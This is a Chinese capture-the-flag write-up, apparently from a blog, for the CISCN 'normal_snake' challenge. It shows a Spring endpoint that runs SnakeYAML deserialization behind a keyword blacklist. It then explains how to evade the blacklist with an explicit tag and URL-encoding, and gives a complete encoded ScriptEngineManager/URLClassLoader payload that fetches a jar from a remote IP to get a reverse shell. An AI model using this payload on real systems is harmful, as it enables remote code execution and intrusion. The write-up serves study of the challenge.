ciscn_normal_snake
2025-02-11 18:24:34

CISCN华北赛区 web normal_snake复现

1、源码

首先解压缩normal_snake.jar,查看源码,发现是snakeyaml反序列化,然后进行了过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**indexcontroller**/
@RequestMapping({"/read"})
public String hello(@RequestParam(name = "data",required = false) String data, Model model) {
try {
if (data.contains("!!")) {
return "pls dont do that!!!";
} else {
new SafeConstructorWithException(data);
Yaml yaml = new Yaml();
yaml.load(data);
return "Well done";
}
} catch (SafeStringException var4) {
return "Unsafe data detected!";
} catch (CustomException var5) {
return "No way to pass!";
} catch (Exception var6) {
return "snake snake snake!";
}

在read路由传参data进行反序列化操作,同时对传入内容进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**safecheck**/
public class SafeConstructorWithException {
private static final String JAVA_STRING = "JAVA";
private static final String JNDI_STRING = "JNDI";
private static final String JDBC_STRING = "JDBC";
private static final String CUSTOM_STRING1 = "42616441747472696275746556616C7565457870457863657074696F6E";
private static final String CUSTOM_STRING2 = "486F74537761707061626C65546172676574536F75726365";
private final String data;

public SafeConstructorWithException(String data) throws SafeStringException, CustomException {
this.data = data;
this.checkForExceptions();
}

private void checkForExceptions() throws SafeStringException, CustomException {
String upperCaseData = this.data.toUpperCase();
if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
throw new CustomException("No way to pass!");
}
} else {
throw new SafeStringException("Unsafe data detected!");
}
}
}

发现传入内容不能有!!,不能包含java,jndi和jdbc

如何绕过!!参考SnakeYaml 反序列化的一个小 trick (qq.com),通过将一个!替换为<tag:yaml,2022 …>的形式绕过。

在构建基于ScriptEngineManager链子([Java SnakeYaml反序列化漏洞 Mi1k7ea ])时,会出现java,而要求java不能通过,需要想办法绕过。

我们先构建一个正常的yaml反序列化程序,然后调试payload,查看snakeyaml对yaml的解析操作。当触发load时候,会首先进行一个可视字符串的判断与读取,然后在进入加载类名执行实例化。在加载类名时,会发现其会对类名进行一次urldecode,如下图

2023-06-15031257

会发现对内容进行一次编码,我们可以利用二次编码来绕过对java的检测。下面是payload

1
!<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72> [!<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%43%6c%61%73%73%4c%6f%61%64%65%72> [[!<%74%61%67%3a%79%61%6d%6c%2e%6f%72%67%2c%32%30%30%32%3a%6a%61%76%61%2e%6e%65%74%2e%55%52%4c> ["http://172.245.156.229:12000/cwmyaml.jar"]]]]

然后对payload进行url编码,再传入,即可进行反弹shell

image-20230615153307066

ps:

这道题还是对java的不熟悉导致没能做出来,还是接触java题过少导致的

Prev
2025-02-11 18:24:34
Next